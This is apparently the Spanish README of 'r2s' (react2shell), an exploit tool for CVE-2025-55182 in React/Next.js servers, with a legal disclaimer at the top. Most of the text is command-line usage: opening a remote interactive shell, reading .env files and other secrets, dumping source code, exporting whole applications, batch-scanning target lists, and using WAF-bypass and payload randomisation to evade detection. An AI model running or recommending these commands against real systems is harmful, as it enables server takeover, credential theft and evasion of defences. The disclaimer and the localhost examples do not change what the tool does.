---

## ⚠️ Aviso Legal

**IMPORTANTE: LEA ESTO ANTES DE USAR ESTA HERRAMIENTA**

1. **Esta herramienta es SOLO para pruebas de seguridad LEGÍTIMAS**
   - ✅ Pruebe sus propias aplicaciones
   - ✅ Pruebe aplicaciones para las que tenga permiso por escrito
   - ✅ Fines educativos e investigación en seguridad
   - ❌ **NUNCA la use en sistemas que no sean suyos o que no tenga permiso para probar**
   - ❌ **NUNCA la use con fines maliciosos**

2. **Al usar esta herramienta, usted acepta que:**
   - Solo la usará en sistemas propios o para los que tenga permiso explícito por escrito
   - Entiende que el acceso no autorizado a sistemas informáticos es ilegal
   - Acepta toda la responsabilidad por sus acciones
   - Los autores no son responsables del mal uso de esta herramienta

3. **Consecuencias Legales:**
   - El acceso no autorizado a sistemas informáticos es un delito en la mayoría de los países
   - Podría enfrentar cargos penales, multas y prisión
   - Obtenga siempre permiso por escrito antes de realizar pruebas

4. **Esta herramienta se proporciona "AS IS" sin garantía de ningún tipo**

**Si es menor de 18 años, asegúrese de contar con supervisión y permiso de un adulto antes de usar esta herramienta.**

---

## ✨ Características

### Capacidades Principales
- 🔍 **Detección de Vulnerabilidades** - Compruebe rápidamente si un servidor es vulnerable a CVE-2025-55182
- 💻 **Shell Interactivo** - Sesión de shell interactiva completa a través de HTTPS con historial de comandos
- 📁 **Operaciones de Archivos** - Liste directorios, lea archivos y exporte archivos/archivos comprimidos
- 🔐 **Extracción de Secretos** - Intente leer los secretos de la aplicación (archivos .env, archivos de configuración)
- 📄 **Extracción de Código** - Intente leer el código fuente de la aplicación
- 🖥️ **Información del Sistema** - Recopile información del sistema operativo, nombre de host, usuario y variables de entorno

### Características Avanzadas
- 🚀 **Auto-Warming de Payloads** - Optimice automáticamente los payloads para obtener los mejores resultados
- ⚡ **Ejecución en Paralelo** - Ejecute múltiples comandos simultáneamente
- 🎲 **Aleatorización de Payloads** - Evite la detección con payloads dinámicos
- 🛠️ **Módulos de Explotación** - Sistema de módulos estilo Metasploit (env_dump, file_search, network_scan, process_list)
- 🔄 **Manejo de Redirecciones** - Siga automáticamente las redirecciones HTTP (301, 302, 303, 307, 308)
- 🎨 **Interfaz Atractiva** - Salida con código de colores para facilitar la lectura
- 📊 **Informes Exhaustivos** - Guarde informes automáticamente en formatos JSON, HTML y TXT con formateadores específicos por operación
- ⚙️ **Sistema de Configuración** - Configuración basada en JSON con panel de ajustes interactivo
- 📦 **Funcionalidad de Exportación** - Exporte archivos individuales o directorios completos de la aplicación como archivos zip
- 🔒 **Evasión de WAF** - Múltiples técnicas de evasión (⚠️ No garantizado - consulte las limitaciones más abajo)

### Informes y Registros
- 📝 **Guardado Automático de Informes** - Guarde informes automáticamente en `~/.r2s/reports/` con marcas de tiempo legibles
- 📋 **Formatos Específicos por Operación** - Diferentes formatos de informe para distintas operaciones (shell, test, secrets, etc.)
- 📜 **Historial de Comandos** - Historial de comandos persistente guardado en `~/.r2s/history`
- 🔍 **Pistas de Auditoría** - Registro detallado de todas las operaciones en `~/.r2s/logs/audit.log`
- 🎨 **Informes HTML** - Informes HTML atractivos con modo oscuro/claro, botones de copiado y bloques de código

---

## 📦 Instalación

### Opción 1: Compilar desde el Código Fuente (Recomendado)

1. **Clone el repositorio:**   ```bash
   git clone https://github.com/zamdevio/r2s.git
   cd r2s

---
## 🚀 Inicio Rápido

### Prueba Básica de Vulnerabilidad```bash
# Test if a server is vulnerable
r2s -u http://localhost:3000 -t

# With verbose output for more details
r2s -u http://localhost:3000 -t -v

### Probar localmente

Consulta [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) para obtener instrucciones sobre cómo ejecutar la aplicación vulnerable localmente.

---

## 📚 Ejemplos de uso

### Referencia rápida de comandos

**Comandos más comunes:**
- `r2s -u URL -t` - Probar vulnerabilidad (el más común)
- `r2s -u URL --shell` - Iniciar shell interactivo
- `r2s --targets FILE -t` - Escaneo por lotes de múltiples objetivos
- `r2s -u URL --system-info` - Obtener información del sistema
- `r2s -u URL --secrets` - Intentar leer secretos
- `r2s -u URL --export-archive` - Exportar la aplicación completa como zip

**⚠️ Recuerda**: No uses `--windows` a menos que el objetivo sea Windows.

---

### Operaciones básicas```bash
# Test vulnerability
r2s -u http://localhost:3000 -t

# List directory contents
r2s -u http://localhost:3000 --list-dir /app

# Read files
r2s -u http://localhost:3000 --read-file .env
r2s -u http://localhost:3000 --read-file package.json

# Get system information
r2s -u http://localhost:3000 --system-info

# Execute custom commands
r2s -u http://localhost:3000 --command "whoami"
r2s -u http://localhost:3000 --command "uname -a"

### Módulos de explotación```bash
# List available modules
r2s --list-modules

# Use a module
r2s -u http://localhost:3000 --module env_dump

# Use module with options
r2s -u http://localhost:3000 --module file_search --set pattern="*.env" --set path="/app"

# Get module information
r2s --module-info env_dump

### Secretos y Extracción de Código```bash
# Attempt to read application secrets
r2s -u http://localhost:3000 --secrets
# Tries: .env, .env.local, .env.production, config.json, etc.

# Attempt to read application source code
r2s -u http://localhost:3000 --code
# Tries: src/**/*.ts, src/**/*.tsx, src/**/*.js, etc.

### Opciones Avanzadas```bash
# Parallel execution (run multiple commands simultaneously)
r2s -u http://localhost:3000 --parallel 5 --command "whoami;id;uname -a"

# WAF bypass (⚠️ Not guaranteed - see limitations below)
r2s -u http://localhost:3000 -t --waf-bypass

# Auto-warm payloads (optimize payloads before execution)
r2s -u http://localhost:3000 -t --auto-warm

# Randomize payloads (evade static detection)
r2s -u http://localhost:3000 --command "whoami" --randomize

# Different header strategies
r2s -u http://localhost:3000 -t --header-strategy chrome_latest
# Options: default, chrome_latest, firefox, minimal, assetnote

# Custom timeout (0 = no timeout)
r2s -u http://localhost:3000 --command "long-running-command" --timeout 0

# Disable SSL verification
r2s -u https://target.com -t --insecure

# Rate limiting (requests per second)
r2s -u http://localhost:3000 -t --rate 2

# Delay between requests (seconds)
r2s -u http://localhost:3000 --command "whoami" --delay 1

### Registro y Auditoría```bash
# Log all operations to specific file
r2s -u http://localhost:3000 -t --log r2s_session.log

# Create detailed audit trail (saved to ~/.r2s/logs/audit.log)
r2s -u http://localhost:3000 -t --audit

# Combine logging with batch scanning
r2s --targets targets.txt --batch -t --log batch_scan.log --audit

### Informes```bash
# Reports are auto-saved to ~/.r2s/reports/ by default
# Format: {operation}_{YYYYMMDD_HHMMSS}.{json,html,txt}

# Disable auto-save
r2s -u http://localhost:3000 -t --no-report

# Save to specific location (disables auto-save)
r2s -u http://localhost:3000 -t --output /path/to/report.json

# View reports
ls ~/.r2s/reports/
cat ~/.r2s/reports/test_20251206_120000.html

### 2. Auditoría de seguridad```bash
# Comprehensive security check
r2s -u http://localhost:3000 -t --waf-bypass
r2s -u http://localhost:3000 --system-info
r2s -u http://localhost:3000 --secrets
r2s -u http://localhost:3000 --code
r2s -u http://localhost:3000 --export-archive

Consulte [`nextjs/README.md`](https://github.com/zamdevio/r2s/blob/HEAD/nextjs/README.md) para obtener instrucciones detalladas.

---

## 🏗️ Arquitectura

R2S utiliza una arquitectura modular para su mantenibilidad y extensibilidad:```
react2shell/
├── main.py              # Main entry point
├── classes/             # Core classes
│   ├── detector.py     # Target detection
│   ├── executor.py     # Command execution
│   ├── modules.py      # Exploit modules system
│   ├── operations.py   # High-level operations
│   ├── payload.py      # Payload building and randomization
│   └── shell.py        # Interactive shell
├── services/            # Services
│   ├── config.py       # Configuration management (JSON)
│   ├── exporter.py     # File and archive export
│   ├── formatters.py   # Report formatters
│   ├── history.py      # Command history
│   ├── logger.py       # Logging and audit trails
│   ├── proxy.py        # Proxy management
│   └── reporter.py     # Report generation
└── utils/              # Utilities
    ├── colors.py       # Color utilities
    └── helpers.py      # Helper functions

### "Error de conexión"
- Comprueba si el servidor está en ejecución
- Verifica que la URL sea correcta
- Revisa la configuración del cortafuegos
- Intenta aumentar el tiempo de espera: `--timeout 30`

### "Solicitud bloqueada"```bash
# Try WAF bypass (⚠️ Not guaranteed - see WAF Bypass Limitations below)
r2s -u https://target.com -t --waf-bypass

# Try different header strategies
r2s -u https://target.com -t --header-strategy chrome_latest
r2s -u https://target.com -t --header-strategy firefox

### Limitaciones de la evasión de WAF

**⚠️ Importante:** Las técnicas de evasión de WAF en esta herramienta **NO están garantizadas** y tienen varias limitaciones:

- **No universal**: Diferentes WAF utilizan diferentes métodos de detección. Lo que funciona para uno puede no funcionar para otro.
- **Detección estática**: Algunos WAF utilizan coincidencia de patrones estáticos que puede evadirse, pero los WAF modernos utilizan análisis de comportamiento.
- **Limitación de frecuencia**: Muchos WAF implementan limitación de frecuencia que puede bloquear intentos repetidos.
- **Aprendizaje automático**: Los WAF avanzados utilizan modelos de ML que se adaptan y aprenden de los patrones de ataque.
- **Cloudflare/AWS WAF**: Los WAF de nivel empresarial (Cloudflare, AWS WAF, etc.) son extremadamente difíciles de evadir.
- **Sin garantías**: Las técnicas de evasión son experimentales y pueden fallar contra WAF bien configurados.

**Buenas prácticas:**
- Usar la evasión de WAF como último recurso
- Probar diferentes estrategias de cabecera (`--header-strategy`)
- Combinar con `--randomize` para obtener mejores resultados
- Entender que algunos objetivos pueden ser imposibles de evadir
- Probar siempre en sistemas que poseas o para los que tengas permiso de prueba

### Problemas de compilación```bash
# Make sure Python 3.7+ is installed
python3 --version

# Install dependencies
pip install -r requirements.txt

# Clean previous build artifacts
./build.sh cleanup

# Try building again
./build.sh

Esto eliminará:
- `build/` directorio (archivos de compilación de PyInstaller)
- `dist/` directorio (binarios compilados)
- `__pycache__/` directorios (caché de Python, recursivamente)
- `*.pyc` archivos (bytecode de Python compilado)
- `*.pyo` archivos (bytecode de Python optimizado)
- `*.spec` archivos (archivos spec de PyInstaller)

**Nota:** Esto solo elimina artefactos de compilación, no tu código fuente. La limpieza es segura y solicitará confirmación antes de continuar.

---

## 📁 Estructura de Archivos```
r2s/
├── README.md                 # This file
├── LICENSE                   # MIT License
├── requirements.txt          # Python dependencies
├── build.sh                  # Build script for standalone binary
├── r2s_entry.py              # PyInstaller entry point
├── react2shell/              # Main package
│   ├── README.md            # Architecture documentation
│   ├── main.py              # Entry point
│   ├── classes/             # Core classes
│   ├── services/            # Services
│   └── utils/               # Utilities
└── nextjs/                   # Testing environment
    └── README.md            # Testing environment documentation